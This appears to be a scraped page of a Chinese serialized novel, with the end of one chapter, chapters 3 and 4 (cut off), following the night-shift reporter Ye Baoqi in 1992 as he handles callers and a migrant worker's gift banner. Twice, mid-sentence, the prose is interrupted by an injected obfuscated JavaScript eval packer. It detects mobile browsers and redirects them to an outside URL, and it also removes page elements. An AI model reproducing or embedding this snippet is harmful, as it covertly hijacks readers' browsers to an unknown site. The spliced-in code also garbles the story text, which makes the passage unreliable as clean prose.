陈秉烛给瓦房街派出所挂了电话，那头传来混着哈欠的声音：“让他滚过来，所里给他断。”醉汉听了，嘴里不清不楚地骂咧着，骑上他那辆除了铃不响哪儿都响的自行车，歪歪扭扭，像一条蚯蚓，钻进了夜的肠子。 “这路人，”陈秉烛对叶葆启说，“不敢碰硬茬，专捡软柿子捏。你越当真，他越上脸。得找个他骨子里怵的——那身制服。” 叶葆启点点头。他想起公交车上那些灌饱了黄汤的乘客，老师傅们都说：“甭搭茬，到地方开门，让夜风醒他的脑。” 凌晨四点，城市睡到了最死沉的时候。炉火弱了，幽蓝变成暗红，最后只剩一炉膛将死不死的灰烬，散着微弱的暖气。陈秉烛把军大衣裹紧，那大衣颜色洗得发白，肘部磨得油亮，他靠在椅背上，眼皮耷拉下来，仿佛也成了这老旧办公室的一件摆设。 叶葆启却毫无睡意。他望着窗外那锅底般倒扣的、深蓝近黑的天穹，刘清那张白脸和红唇，总在眼前晃。她为何要认那八竿子打不着的亲？是为了扯虎皮壮胆，还是在她自个儿那混沌的天地里，她真真儿就是“赵四小姐的侄女”？ 电话铃又割破了寂静。这回是个老太太，声音干瘪得像秋风里的落叶：“记者同志……我听见鸡叫了。” “鸡叫？” “是哩，鸡叫！都四更天了，鸡不该醒啊！”老太太的声音透着惶惑，“你们得管管，这鸡天天这时辰打鸣，我还活不活了？” 叶葆启问清，是海西区一家幼儿园，养了几只从云南来的野鸡。他应承明日去说道，老太太才千恩万谢，那谢意通过电话线传过来，也带着枯叶般的窸窣声。 放下话筒，叶葆启冲着假寐的陈秉烛苦笑：“鸡打鸣，也归咱管？” “管。”陈秉烛眼没睁，声音从大衣领子里闷闷地传出，“老百姓心里结了疙瘩，那就是事儿。咱的活计，就是把这些鸡毛蒜皮，一桩桩、一件件，捋平了，熨帖了。都顺了，夜里才能有个安稳觉。” 天将亮未亮时，叶葆启终于扛不住，头一沉，伏在案上睡着了。他梦见自己还在那辆哐当作响的公交车上卖票，车厢里挤得密不透风，每个人都举着一封信，信纸在浑浊的空气里翻飞如雪片，无数张嘴巴开合，喊着同一句话：“记者同志，瞅瞅我的冤屈！” 醒来时，晨光已如淡金色的潮水，从窗户漫进来。陈秉烛在整理那一夜积下的记录本，见他醒了，说：“回吧，迷瞪会儿，下半晌再来。” 叶葆启站起来，腿脚麻得如同千万只蚂蚁在啃噬。他翻了翻记录本，七页纸，密密麻麻，写满了这座城市的呓语、呻吟与嚎叫。 “这么多愁，这么多怨，”他喃喃，“解得完么？” “尽心。”陈秉烛把本子码齐，动作轻缓，“解一桩，是一桩。记者不是菩萨，但可以是一座桥，让两边的话能过；是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904154|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个喇叭，让小的声变大；是一双眼，替很多人去看他们看不到的边边角角。” 走出报社大楼，早晨的空气清冽如刀，割在脸上生疼。早点摊的油锅已经沸了，油条在里面翻滚膨胀，散发出一种粗粝而真实的香气。叶葆启买了两根，用旧报纸裹着，一边走一边啃。那滚烫的、带着油腥味的踏实感，顺着食道落进胃里，才让他感觉自己真真切切地从那个光怪陆离的夜晚回来了。 回到平安胡同，素琴正在院子里生炉子。劣质煤球冒出浓黄带黑的烟，从各家各户低矮的屋檐上挣扎着升起，在胡同上方拧成一片沉甸甸的、化不开的雾霭。 “回了？”素琴抬头，鼻尖上蹭了道煤灰，显得有点滑稽，“一宿没合眼吧？赶紧炕上歪着去。” “不困。”叶葆启搬过个小马扎坐下，接过素琴手里的破蒲扇，对着炉口一下一下地扇。火苗渐渐旺了，红彤彤地映着他俩的脸。“昨夜里，见识了各路神仙。” 他把刘清的事儿当笑话讲了。素琴听了，用火钳子拨拉着煤块，噗嗤乐了：“赵四小姐的侄女？她咋不说自己是慈禧太后的干闺女？我在街道上，这类人见多了，日子过得憋屈，心里那点念想发了酵，就给自己编一身金灿灿的衣裳披上，吓唬别人，也哄着自己。” “陈主任说，衣裳是真是假不论，底下裹着的难受，得当回事。” “是这话。”素琴把馒头搁在炉圈上，白面渐渐烙出焦黄的脆皮，“人活一口气，树活一张皮。有时候扯谎，是因为真话掉在地上，连个响儿都听不见。” 小舟揉着眼睛从屋里出来，看见叶葆启，趿拉着鞋扑过来：“爸爸，你昨天又去听鬼故事了？”（在孩子心里，夜班和神秘故事画了等号） “嗯，”叶葆启抱起儿子，沉甸甸的，是生活的秤砣，“爸爸以后夜里常去听故事，不能搂着你睡了。” “没事儿，”小舟搂住他脖子，热气喷在他耳根，“妈妈讲孙悟空，比鬼故事好听。” 吃了早饭，叶葆启躺到床上。被窝里还留着素琴的体温和一股淡淡的肥皂味儿。他闭上眼，可夜间记者站的一切，却更清晰地压了上来：那盏绿眼似的台灯，那部红得刺心的电话，煤炉里幽幽的蓝火，陈秉烛岩石般的侧脸，刘清那两片剧烈开合、如同伤口般的红唇，醉汉溶入夜色的、软体动物般的背影…… 这些画面不再是画面，它们有了重量，有了气味，有了声音，沉甸甸地压在他的眼睑上，流淌在他的血液里。他想，这便是记者要打捞的生活——荒诞底下压着真实，琐碎背后站着沉重，所有的啼哭、咒骂、哀求与狂想，共同构成了这座庞大城市在夜幕遮蔽下，那深重而潮热的呼吸。 沉入睡眠的前一刻，一个模糊的念头像水底的泡泡般浮起：今晚，那部电话还会响起。不知又会从深渊里，钓起怎样一个湿漉漉的、带着夜露与泪水的灵魂。 阳光透过旧窗棂，在他脸上切出明暗交错的光斑。他翻了个身，把脸埋进残留着妻子气息的枕头，终于沉入了无梦的黑暗。 而在城市另一头，陈秉烛已悄无声息地推开自家的房门。女儿趴在书桌上睡着了，脸颊压着摊开的数学卷子，钢笔滚落在一旁，笔尖在草稿纸上留下一团凌乱的蓝。他拿起椅背上搭着的外套，轻轻披在女儿单薄的肩上。 女孩儿在睡梦里咂了咂嘴，没醒。 陈秉烛在门口站了一会儿，看着女儿随着呼吸微微起伏的脊背，然后转身去了厨房。灶台上扣着一碗小米粥，旁边一小碟酱疙瘩。他默默喝了粥，就着咸菜，粥已凉透，喝下去一路沉到胃底。他用冷水抹了把脸，冰冷刺骨，驱散了最后一点疲乏的幻影，又轻轻带上门，走了出去——上午，报社还有个关于“民生报道底线”的会，等着他。 这便是记者生涯的开端：在黑夜的河流里，打捞他人沉浮的故事；在白昼的尘埃中，跋涉自己琐碎的人生。两个世界在晨昏交替的暧昧时分短暂交叠，随即又沿着各自的轨道，轰然向前。 叶葆启被胡同里收破烂的吆喝声吵醒时，已是下午两点。素琴去了街道办，小舟在隔壁家看《葫芦娃》。桌上扣着饭菜：一碟油光光的炒土豆丝，两个大白馒头，底下压着张纸条：“笼屉里热着吃。” 他吃了饭，坐在那张吱呀作响的写字桌前，翻开那个塑料皮笔记本。新的一页，他写下： “一九九二年，十月二十日。首个夜班。拾得三味： 一、百姓无小事，小事是她们的天。 二、耳朵要聋，真的假的，都先收着。 三、记者是桥，让人过；是耳，让人说；不是官，不判案。” 想了想，他又用力添上一行，笔尖几乎划破纸背： “陈秉烛，是一座走得动的老桥。” 合上本子，它发出轻微的“啪”的一声。他摸摸胸口内兜，那份调令还在，纸张被体温熨得柔软，边缘甚至有些毛了，像一颗沉默地跳动了许多个时辰的心脏。 该去报社了。他穿上外套，推门走入胡同。夕阳正好，懒懒地斜照下来，把老墙上斑驳的标语染成金色。那几棵高大的法国梧桐，叶子黄得灿烂，风一过，哗啦啦一阵响，像是无数只金色的手掌在鼓掌。 他抬起头，眯着眼看了看西边那颗温吞吞的太阳。然后，迈开步子，朝着解放北路，朝着那个即将再次被夜色和铃声填满的小屋，稳稳地走去。 夜晚还在那里，亘古不变。那些蛰伏在霓虹灯照不到的角落里的声音，那些渴望被看见、被记住的悲欢，早已在渐浓的暮色中，伸出了它们无形的手。 而他，终于觉得，自己好像能听懂一些了。 3. 第003章 锦旗风波 第003章锦旗风波 十一月的內海，风已经淬出了刀刃的硬度。它刮过浑河的水面，那河水便皱起一层层细密而顽固的纹路，像极了被岁月反复揉搓过的老牛皮，又像无数张翕动着的、无声申诉的嘴。梧桐叶子早已落尽，赤条条的枝桠戟指灰白的天穹，像千万只从地底挣扎伸出的、焦渴枯瘦的手，要抓住些什么，却什么也抓不住，只空荡荡地划拉着凝滞的空气。 叶葆启的昼夜已然颠倒。半个多月的夜班，把他的生物钟拧成了一根反向的发条。白日里睡眠浅薄，仿佛总隔着一层毛玻璃看世界；一入夜，眼耳口鼻却异常清明起来，能听见电话铃在响起前那半秒的电流嗡鸣，能看见煤炉火焰每一次颜色细微的转变。素琴说他“快修成夜游神了”，小舟却欢喜——爸爸白天在，可以把他扛在肩头，去看胡同口那棵老槐树上最后一片叶子何时落下。 这天下午，日头西斜，光线昏黄如隔夜的茶汤。叶葆启刚从那稀薄而不踏实的睡眠中浮起，坐在用碎砖垒砌的、仅容转身的小厨房里，喝一碗小米粥。粥是素琴天不亮时熬的，此刻表面凝了一层厚厚的“米油”，像一块温润柔腻的玉膏。他就着几根乌黑咸韧的酱黄瓜，呼噜噜喝下去，那暖意顺着喉管一路沉坠，熨帖了空荡了一夜的腑脏，也似乎唤醒了他蛰伏在白昼的魂灵。 “葆启哥——在家不？”院墙外传来一声喊，带着生硬的西北腔调，像块粗粝的石头投入这昏沉的午后。 叶葆启撂下碗，掀起那扇用旧棉被改成的厚门帘。院子里站着个后生，二十出头，个头敦实，皮肤是长年风吹日晒沉淀下的黑红，像一块浸透了汗与尘的土地。他穿着件洗得发白、肘部磨出毛边的蓝色工装，双手捧着一个用红布仔细包裹的物件，那红色在萧索的院落里，扎眼得像一滴骤然涌出的血。 “你是……？”叶葆启在记忆里打捞。 “叶记者！我是小郭，郭熠轩！从甘肃来，在建筑队扛活的那个！上次，您帮我从黑心老板手里，把工钱抠出来的那个！”年轻人激动地往前凑了一步，眼珠子亮得灼人。 叶葆启的记忆被点亮了。约莫十天前那个湿冷的夜，就是这个年轻人，带着一身灰土和眼角未干的血痂闯进记者站，眼睛红得像两粒燃烧的煤核，说包工头赖账，还诬他偷了一件半旧的红毛衣，让保安一拳捣在眼眶上。叶葆启当时对着那部红色的电话，拨通了劳动监察，又串联了派出所，声音在烟雾里绷得像一根快断的弦。那夜似乎格外漫长，直到凌晨三点，电话那头的咆哮才变成了不情不愿的妥协。 “是你啊。”叶葆启把门帘掀得更高，冷风趁机钻进来，打了个旋儿，“进屋，外头站久了，骨头缝都进风。” 郭熠轩侧身挤进小屋。十六平米，一张双人木床便塞得满满当当，床单是洗褪了色的牡丹花样。靠窗的旧写字桌上，摊着采访本和一支英雄牌钢笔。墙上贴着一张年画，一只斑斓猛虎踞于山岩，下方四个字：“虎虎生威”。那是去年为属虎的小舟买的，虎的额头已被潮气洇得有些模糊。 “坐，坐下说话。”叶葆启挪过屋里唯一那把还算稳当的木头椅子。 郭熠轩没坐。他把那红布包郑重地、近乎虔诚地放在桌上，像进行某种古老的仪式，然后伸出粗粝的手指，一层一层，缓慢地解开。红布褪去，露出一面锦旗。红绸底子，沉甸甸的，边缘缀着金黄的流苏，那流苏有些凌乱，仿佛编织时带着急切的心跳。最扎眼的是上面绣的字，金线盘绕，在昏暗的光线下闪着一种钝拙而执拗的光。 叶葆启接过来，展开。目光触及那两行字时，他怔住了，仿佛被那金线的光芒刺了一下。 “爱国主正义，敢斗旧官吏”。 “这……”叶葆启抬头，看向郭熠轩。后生的脸上混合着期盼、自豪，还有一丝不易察觉的、终于能“报答”的释然。 “我寻了街口做牌匾的老王头，央他绣的，”郭熠轩搓着手，手上皴裂的口子像干涸土地的缝隙，“绣了整整一个白天哩！这字……是俺自个儿想的。您替俺们这号人出头，跟那些……那些旧时候喝人血的老爷斗，不就是……” “打住。”叶葆启打断他，声音不大，却让屋里的空气凝了凝。他将锦旗对折，再对折，那耀眼的红色和金线被收敛起来，“小马，你的心意，我领了。但这旗子，我不能挂。” “为……为啥？”郭熠轩愣住了，黑红的脸膛上那点光采瞬间黯淡下去，像是油灯被猛地抽走了灯芯。 “头一桩，我没做啥了不得的事，就是拨了几个电话，说了几句话。这是记者的本分，就像你扛水泥是建筑工的本分。”叶葆启语速平缓，却字字清晰，“第二桩，这字，写岔了。哪来的‘旧官吏’？如今是新社会，干部队伍里，绝大多数是好的，是为老百姓办事的。你这旗子一挂，旁人看了，心里咋想？舌头根子底下，又能压出多少是非？” 郭熠轩的脸涨成了猪肝色，脖颈上的青筋微微凸起：“可……可那个黑心老板，他姐夫，就在街道办事处坐着啊！他们……” “那是个别人，是疖子，不是全部。”叶葆启将叠好的锦旗塞回他手中，触感冰凉而滑腻，“拿回去，改了吧。” “改……咋改？”郭熠轩的声音有些发干，捧着锦旗的手微微发抖。 叶葆启沉默了片刻，目光投向窗外那棵在风里瑟缩的槐树，几只灰雀蹦跳着，忽而又惊飞，散落几片最后的枯叶。“‘爱国主正义’这句，留着。后面那句……”他转回脸，“改成‘为民解忧愁’吧。” 郭熠轩站着不动，像是脚下生了根。忽然，他眼圈毫无征兆地红了，那红迅速弥漫，衬得他黝黑的脸膛有种说不出的悲怆。大颗的泪珠子毫无阻拦地滚下来，砸在工装前襟上，洇出深色的斑点。 “这……这是怎么话说的？”叶葆启有些无措。 “叶记者……”郭熠轩的声音哽咽得厉害，每个字都像是从胸腔里挤出来的，“我在内海，飘了三年了。工钱被卷跑过，腿让钢筋划开大口子没人管过，睡工棚，冬天冷得骨头缝里撒盐，夏天热得跟蒸笼似的……您是头一个，真把俺的事当事，真给俺办成了的。这旗子……俺是掏了心窝子绣的……” 叶葆启心里那根绷着的弦，被这滚烫的泪水猛地一烫，软了下去。他走到窗边，摸出烟盒，是陈秉烛给的“恒大”，烟味冲，能压住很多东西。他点了一支，深吸一口，烟雾模糊了窗外的景色。胡同悠长，电线交错，像一张巨大的、灰色的网。 “小马，”他转过身，烟雾在他脸前盘旋，“旗子，我收下。但字，一定得改。你去找老王头，改好了，再送来。” 郭熠轩抬起泪眼，那里面重新燃起一点希冀的火星：“真……真的？” “真的。” “俺这就去改！”郭熠轩把锦旗往怀里一揣，紧紧抱住，转身就要冲出门去。 “等等。”叶葆启叫住他，“你那只眼，还疼不？” “不疼了，早不疼了！”郭熠轩使劲眨了眨眼，那眼眶周围还残留着淡淡的青黄，“就是看东西久了，有点花，像蒙了层兔子毛。” “往后遇着事，别闷着头硬撞。该找劳动局找劳动局，该寻警察寻警察。记下了？” “记下了！记瓷实了！”郭熠轩深深鞠了一躬，腰弯得很低，然后像一枚出膛的炮弹，冲进了胡同深秋干冷的风里。 叶葆启继续抽着烟，看着那身影消失的拐角。烟灰积了长长一截，他忘了弹。 素琴挎着菜篮子回来时，正看见他对着窗外发呆。“刚才谁来过了？院门外像是有人声。”她放下篮子，里面是一棵结实硕大的青口白菜。 “一个打工的后生，来送锦旗。”叶葆启掐灭烟头。 “锦旗？”素琴的眼睛亮了一下，那是普通人对于“荣誉”最直接的反应，“好事啊！挂哪儿？我这就找锤子钉子。” “别忙，”叶葆启苦笑一下，那笑容里有些无奈，“旗子上的字，写的是‘敢斗旧官吏’，我给退回去了。” 素琴愣住了，随即“噗”地笑出声，笑着笑着又叹了口气：“这人……胆子倒肥。不过也难怪，老百姓受了憋屈，看在眼里的，可不就是跟前那几个‘官’？就觉得天下乌鸦……” “所以不能收。”叶葆启蹲下身，帮着择白菜。老帮子一层层剥开，露出里面嫩黄的芯，“收了，就像是认了他那理儿。可实情不是那样。我打电话过去，劳动监察的人半夜从被窝里爬起来处理。街道那个主任，听说还吃了挂落。” 素琴掰着白菜叶，动作麻利，发出清脆的断裂声：“葆启，你这人，轴。人家是谢你，心意到了不就行了？字儿是死的，人心是活的。” “字儿是活的。”叶葆启抬起头，看着妻子，“记者是干啥的？是记事的，也是引路的。要是自个儿先分不清个东南西北，还咋给人指道儿？” 素琴不说话了，只是看着他，目光复杂。看了好一阵，才轻声说：“你这脾气，跟你爹，是一个模子磕出来的。” 叶葆启父亲走的那年，厂里要评“先进工作者”，能给家属多换两百块的抚恤金。叶葆启去领表格，看见事迹材料里写着父亲“肝癌晚期仍坚守岗位，高风亮节”。他当场就把那几页纸撕了，碎片雪片似的落在工会办公室的水泥地上。“我爸最后那几个月，疼得撞墙，整宿整宿哼不出来，怎么坚守？你们这是往死人脸上贴金，还是往活人心里捅刀子？” 领导拍桌子：“这不都是为了你们家好？多两百块，能办多少事！”叶葆启梗着脖子：“这‘好’，我们受不起。我爸一辈子干净，走也得走得干净。” 最后自然没评上。母亲哭了又哭，骂他傻，骂他不懂事。可后来，父亲几个老战友来送行，听说了这事，一个头发花白的老头用力拍着他肩膀，手很重，拍得他生疼：“小子，像你老子！你老子当年在朝鲜，美国人的罐头扔过来，看都不看一脚踢沟里去！糖衣？炮弹？他分得门儿清！” 那天晚上，叶葆启去值夜班。出门前，小舟扯着他衣角问：“爸爸，锦旗是啥？” “就是一块红布，上头拿金线绣上字，送给帮了大忙的人。” “那你为啥不要？” “因为上头绣的字，不对。” “不对，擦掉重绣不就行了？” 叶葆启蹲下来，摸摸儿子细软的头发：“有些字，能擦掉重来。有些字，一开始就不能往上写。” 小舟眨了眨黑葡萄似的眼睛，似懂非懂。 夜里十点，郭熠轩又来了。寒风把他裹挟进来，带着一股子室外凛冽的生铁味儿。他怀里依旧抱着那个红布包，这次解开，上面的字果然变了：“爱国主正义，为民解忧愁。”金线在红绸上蜿蜒，比之前工整了些，却依旧带着一股执拗的、民间手工艺的笨拙力量。 “叶记者，您瞅瞅，这样中不？”郭熠轩小心翼翼，像捧着一件易碎的瓷器。 叶葆启接过来，就着昏黄的灯光仔细看了一遍，点点头：“中。” 这个“中”字刚落地，郭熠轩“扑通”一声，直挺挺地跪在了水泥地上。膝盖骨撞击地面，发出沉闷结实的声响。 “哎！你这是干啥！快起来！”叶葆启吓了一跳，慌忙伸手去拽。 “叶记者！您一定得让俺磕这个头！”郭熠轩不肯起，声音带着哭腔，头已经低了下去，“在俺们陇西老家，给大恩人送匾送旗，得跪着敬上，这是老辈子传下的规矩！不这么着，心意不到，菩萨都不收！” 陈秉烛从里间撩开门帘出来，手里还拿着校对用的红笔，看见这情景，脸上皱纹舒展，笑了笑：“葆启，收下吧。这不是给你的，是给‘规矩’的，是给‘心意’的。” 叶葆启只好接过那面似乎陡然变得千斤重的锦旗。郭熠轩这才爬起来，拍了拍膝盖上的灰土，咧开嘴笑了，那笑容憨厚，灿烂，照亮了他风尘仆仆的脸。 “活计有着落了？”叶葆启问。 “有！有！”郭熠轩忙不迭点头，“在海东区一个新楼盘当保安，管吃管住，一月三百五十块！那老板听说了俺的事，还多塞给俺五十，说是‘安家费’！” “那就好。”叶葆启拉开抽屉，拿出那包“恒大”，“抽一根？” “不不不，”郭熠轩连连摆手，“俺不会这个。走了走了，不耽误您办正事。” 走到门口，他又转回身，很认真地说：“叶记者，等俺头个月工钱发下来，俺请您下馆子！吃羊肉泡馍！” “不用破费，把日子过稳当，比啥都强。” 郭熠轩走了，脚步声在空旷的走廊里回荡，渐渐被夜晚吸收。叶葆启拿着那面锦旗，一时不知该往哪儿放。陈秉烛接过去，走到墙边。那里已经挂着两面旧锦旗，边缘的流苏有些磨损。他找了一颗钉子，将新的这面也挂了上去。三面红旗并排，在灯光下静默着，像三张沉默而殷红的嘴，诉说着三个已然过去、却并未消失的故事。 “第三面了。”陈秉烛退后一步，眯眼打量着，“葆启，你干得不赖。” “就是打了个电话。”叶葆启重复道。 “打电话的指头容易动，”陈秉烛坐回他那张漆皮斑驳的旧藤椅，椅子发出不堪重负的呻吟，“肯为不相干的人动那根指头的心，难找。你能管，说明心里那盏灯，油还足，芯还没黑。” 叶葆启没接话，只是看着墙上。红绸子微微拂动，黄流苏轻轻摇晃。“为民解忧愁”五个字，金线在光影里明明灭灭，仿佛有了呼吸。 电话铃骤响。是海西区一个老太太，声音苍老得像磨损的砂纸，说楼上水管漏了，她家天花板成了水帘洞，找居委会，说管不了；找房管站，说等天明。叶葆启记录，然后拨通房管局夜间值班电话。对方声音透着浓重的睡意和不耐，但听说是夜间记者站，那不耐烦压下去几分，答应“明天一早派人瞅瞅”。 撂下电话，陈秉烛说：“瞧，这就是‘解忧愁’。老太太今晚心里那块石头，算是暂时落地了。能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904155|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睡个圆圈觉。” 凌晨两点，世界陷入一种深沉的静。叶葆启拿出那个软皮采访本，不是写新闻稿，是写日记。这是他从陈秉烛那儿学来的习惯，把夜里淌过的声音、晃过的人影，原汁原味地封存起来。 今天，他写道： “一九九二年，十一月五日。甘肃后生郭熠轩来送旗。初时绣‘敢斗旧官吏’，我令其改。彼泣，言在内海三载，受欺甚多，我乃首个真助之者。我心软，允其改后收之。夜，彼复来，旗已改为‘为民解忧愁’。彼忽下跪，言乃家乡古礼。我惶然受之。 我不觉己身配此一跪。吾所为，不过拨号数通，言语数句，乃职分耳。陈主任言，肯管‘闲事’者日稀。我非好管闲事，实不能见人陷于沟壑而无动于衷。或因卖票七载，见惯车厢百态，一隅之让，一语之温，俱是人世微光。 素琴谓我类父。或然。然父当年所对，乃明火执仗之敌；吾今所对，乃无所不在之‘不公’。敌有枪炮，不公无形，然蚀人心肝，尤甚于弹片。 郭熠轩寻得保安之职，月入三百五。彼言发薪后请饭，吾必不赴，然此心此意，吾当永铭。” 写至此，他搁下笔。窗外，城市的灯火稀疏如将熄的炭火，唯有远处建筑工地上，塔吊顶端那盏孤灯还亮着，像一颗被遗忘在黑色天鹅绒上的、冰冷的钻石。 他忽然无比清晰地记起父亲临终光景。那时父亲已被肝癌噬空了形骸，只剩一层蜡黄的皮绷在骨架上，喉咙里呼噜作响，像破旧的风箱。他握住叶葆启的手，那手枯瘦如鹰爪，却奇异地残留着一丝力气，断断续续的气流从喉间挤出，不成句子，只有一个字，反反复复： “正……正……要……正……” “正”是什么？是退回去那面写错字的锦旗，是撕掉那份虚假的事迹材料，是在电话里为陌生人的不公而绷紧声音。这个字只有五划，写起来简单，要用血肉之躯去填充它，却需要押上一生的气力。 凌晨四点，叶葆启伏在案上沉沉睡去。醒来时，天光已是蟹壳青。陈秉烛用火钳夹着馒头在炉口烤着，焦香混着煤烟味。见他醒了，递过一个：“趁热，垫巴点，压压寒气。” 馒头烤得金黄酥脆，内里却暄软。叶葆启就着咸菜疙瘩，大口吃着，额角渗出细汗。 “葆启，”陈秉烛忽然开口，眼睛望着窗外那正一丝丝被抽走的黑暗，“你儿子，几岁了？” “五岁，属虎的。” “好生陪他长。”陈秉烛的声音有些飘忽，像从很远的地方传来，“干咱这营生，最对不住的，就是屋里人。我闺女小时候，我总不在。眼下她大了，跟她妈亲，跟我……隔着层客气。” 叶葆启点点头，嘴里的馒头忽然有些咽不下去。 下班走回胡同时，天已大亮。生活的浊流重新涌动起来。自行车铃叮当作响，上班的人流面色匆匆，早点摊的油锅沸腾着，炸油条的汉子赤着胳膊，油星四溅。这是活生生的、嘈杂的、带着各种气味的人间。 到家，素琴正系着头巾要出门。“醒了？粥在锅里温着。”她说。 “去哪儿？” “街道办，开计划生育的会，耳朵又要起茧子。”素琴整理着袖口，“对了，早上天刚麻麻亮，小马又来了一趟。” “他又来了？” “没进屋，在院门墩儿边放了袋东西。”素琴朝桌下一努嘴，“我追出去让他拿回去，他跑得那叫一个快，一溜烟就没影了。” 叶葆启弯腰看去，果然是一个红色的网兜，里面挤挤挨挨装着十几个苹果，红富士，个个饱满圆润，像一张张冻红了的脸庞。 “这孩子……”他摇摇头，心里那股暖流却又涌上来，混着酸涩。 “收下吧。”素琴的声音柔和下来，“你不收，他那份心，没个着落，更难受。” 素琴走了。叶葆启洗了一个苹果，咔嚓咬下去。汁水丰沛，清甜凛冽，瞬间盈满口腔，顺着嘴角溢出一点。他用手背抹去，那凉津津的甜意，却似乎一路滑进了心里。 小舟光着脚丫跑出来，扑到他腿上：“爸爸！” “鞋呢？”叶葆启一把抱起他。 “苹果！红果果！”小舟的眼睛盯住了网兜。 叶葆启拿刀削皮，苹果皮连绵不断垂下来，像一条淡黄色的彩带。他把苹果切成小块，盛在搪瓷碗里。小舟用胖乎乎的手指捏着吃，汁水涂了满脸，像只偷吃成功的小花猫。 “爸爸，”小舟嘴里塞得鼓鼓囊囊，“送红果果的叔叔，就是送红布布的叔叔吗？” “是。” “他为啥送你红果果？” “因为爸爸……帮了他一个小忙。” “帮了啥忙？” 叶葆启想了想，找到一个孩子能理解的比喻：“有人想抢他的糖，爸爸说，不能抢。” 小舟用力点头，这个他懂：“抢东西是坏蛋！爸爸是好人！” 叶葆启笑了，摸摸他的头。 那天下午，叶葆启睡得异常沉实。梦里，他回到了那辆哐当作响的公交车上，车厢里挤得水泄不通，人们的脸在闷热的空气里浮动、变形。郭熠轩也在，还穿着那身工装，手里举着那面锦旗，锦旗忽然变得巨大无比，红绸像血浪般翻涌，上面的金字脱落下来，化作一个个闪光的秤砣，沉甸甸地压向每一个人……车猛一颠簸，到站了，门豁然洞开，人群无声地倾泻而出，融入外面白得刺眼的光里…… 醒来时，日头已经西斜，金红色的光瀑从窗格汹涌而入，将小屋染成一种温暖的、蜂蜜般的色泽。空气中浮动着细微的尘埃，在那光柱里缓缓舞动，像是时间的碎屑。 素琴在门外的小厨房里炒菜，油锅爆响，葱花和酱油的浓香霸道地弥漫开来。小舟在院子里和邻家孩子追逐笑闹，那笑声清脆、无忧，像一串串被风摇响的银铃。 叶葆启坐起身，在床沿发了会儿怔。然后起身，走到桌边，翻开那本软皮日记。在昨日那篇记载的末尾，他拿起笔，添上了一行： “苹果极甜。生活这杯苦酒里，偶尔泛起的一丝甜意，或许正是它让人留恋的全部理由。” 他合上本子。封皮被摩挲得有些发亮。他看向窗外。胡同里，家家户户的烟囱开始吐出青白的炊烟，那烟缕起初笔直，升到半空便被风吹散，融成一片氤氲的、温暖的雾霭，低低地笼罩在鳞次栉比的灰瓦屋顶之上。这是最寻常的人间烟火，混杂着煤球味、饭菜香、孩子的哭闹和大人的呵斥。这气味，这景象，此刻却让他心中涌起一种近乎悲壮的柔情——他想守护的，或许就是这琐碎、平凡、有时令人疲惫却又生生不息的一切。 夜晚终将再次君临，那部红色的电话会在寂静中再次嘶鸣，从城市的各个角落钓起新的悲欢、新的荒诞与新的重量。但此刻，在这白日将尽、灯火未起的短暂间隙里，在这被夕阳和炊烟共同浸泡的安宁中，他确确实实地触摸到了一种东西。 那东西，或许可以叫做“值得”。 4. 第004章 冒名来信 十一月的第三个周末，内海城迎来了一场诡谲的雨夹雪。那雪不是雪，倒像是天公撕碎了旧报纸的碎屑，混着冰凉的雨丝，黏黏糊糊地往下飘。路灯的光在湿漉漉的街道上晕开，流淌成一条条昏黄的河，河里偶尔泛起几个气泡，像是城市在睡梦中打出的嗝。 叶葆启值下半夜的班。夜里十一点推开报社大门时，陈秉烛正蹲在铁皮炉子前，用火钳拨弄煤块。炉膛里的火苗蓝汪汪的，映得他半边脸像庙里的泥塑。 “这鬼天，”陈秉烛的声音从炉火后面飘过来，“阴气钻进骨头缝，能把骨髓冻成冰碴子。” 叶葆启脱下雨衣。那是素琴去年冬天买的，军绿色，兜帽深得像口井。他记得素琴递给他时说：“夜里风硬，这衣裳能扛。”他当时笑她小题大做，如今雨水正顺着衣角往下滴，在地板上聚成一滩小小的湖。 “陈主任，您回吧。”叶葆启把雨衣挂在门后钉子上，钉子吱呀一声，像是叹了口气。 “不急。”陈秉烛从抽屉深处掏出一个玻璃瓶，瓶里的液体黄澄澄的，泡着几根人参须子，“老家捎来的高粱烧，喝口？驱邪。” 叶葆启摆手。他看见炉火在酒瓶上折射出跳跃的光斑，像一群金色的小鬼在跳舞。 陈秉烛也不劝，对着瓶口嘬了一小口，喉结上下滚动三回，才吐出一口白气：“这酒啊，是用我爹坟头的高粱酿的。他老人家在地下躺了三十年，根须扎得深，穗子长得旺。” 两人守着炉子不再说话。煤块在炉膛里噼啪作响，像是无数细小的骨头在断裂。电话像具沉默的尸体，从十一点到十二点，只痉挛般地响了一次——是个要找“内海市电影院”的，声音尖细得像耗子叫。陈秉烛说：“打错了。”对方却纠缠不休：“咋会错呢？我昨天还在这儿看过《画皮》。” 十二点整，陈秉烛起身，大衣抖落一片灰尘，在灯光下旋转飞舞，像微型沙尘暴。 “我走了，”他说，“后半夜阴气最重，什么怪事都可能爬出来。” “什么怪事？” 陈秉烛走到门口，手搭在门把上，回头时眼神幽深：“上个月这时候，有个叫何延辉的说看见了飞碟。非说那玩意儿在他家房顶转了三圈，落下些银色粉末，把他家老母鸡染成了蓝色。”他顿了顿，“我给了他三张稿纸，让他把经过写下来。他写得密密麻麻，连飞碟上的螺纹都数清了——三百六十五道，正好一年天数。” 